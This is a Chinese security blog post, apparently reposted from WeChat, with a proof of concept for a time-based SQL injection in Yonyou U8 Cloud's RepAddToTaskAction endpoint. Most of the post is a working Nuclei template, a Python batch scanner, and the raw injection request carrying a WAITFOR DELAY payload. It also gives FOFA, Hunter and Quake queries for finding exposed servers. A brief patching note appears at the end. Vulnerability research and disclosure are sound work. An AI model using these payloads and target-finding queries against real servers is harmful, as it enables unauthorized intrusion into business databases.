POC(Yaml&Python)
-
「Yaml」
id: yonyou-u8-cloud-RepAddToTaskAction-sqli
info:
name: 用友U8 Cloud RepAddToTaskAction SQL注入
author: xx
severity: high
description: 用友U8 Cloud RepAddToTaskAction SQL注入
metadata:
fofa-query: title="U8C"
tags: yonyou,sqli
http:
- raw:
- |+
@timeout: 30s
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.RepAddToTaskAction&method=save&taskSelected=1%27);WAITFOR+DELAY+%270:0:3%27-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
mmax-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=3 && duration<5'
- 'status_code_1 == 200'
condition: and
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning
RED = '�33[91m'
RESET = '�33[0m'
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
try:
target_url = f"{url.rstrip('/')}/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.RepAddToTaskAction&method=save&taskSelected=1%27);WAITFOR+DELAY+%270:0:3%27--"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
}
start_time = time.time()
response = requests.get(target_url, headers=headers, verify=False, timeout=10)
duration = time.time() - start_time
if response.status_code == 200 and 3 <= duration <
5:
print(f"{RED}URL [{url}] 可能存在用友 U8 Cloud RepAddToTaskAction SQL 注入漏洞{RESET}")
else:
print(f"URL [{url}] 可能不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 U8 Cloud RepAddToTaskAction SQL 注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
用友U8 Cloud 提供企业级云ERP整体解决方案,全面支持多组织业务协同,实现企业互联网资源连接。U8 Cloud 亦是亚太地区成长型企业最广泛采用的云解决方案。用友U8 Cloud RepAddToTaskAction存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作。
❞
资产测绘
-
「Fofa」
❝
app="用友-U8-Cloud"
❞
-
「Hunter」
❝
web.title="U8C"
❞
-
「Quake」
❝
app="用友-U8-Cloud"
❞
漏洞复现
「1、构造数据包」
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.RepAddToTaskAction&method=save&taskSelected=1%27);WAITFOR+DELAY+%270:0:3%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
「2、响应时间」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
!!!!关注浅梦,安全不迷路!!!!
!!!!关注浅梦,安全不迷路!!!!
!!!!关注浅梦,安全不迷路!!!!
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】用友U8 Cloud RepAddToTaskAction SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论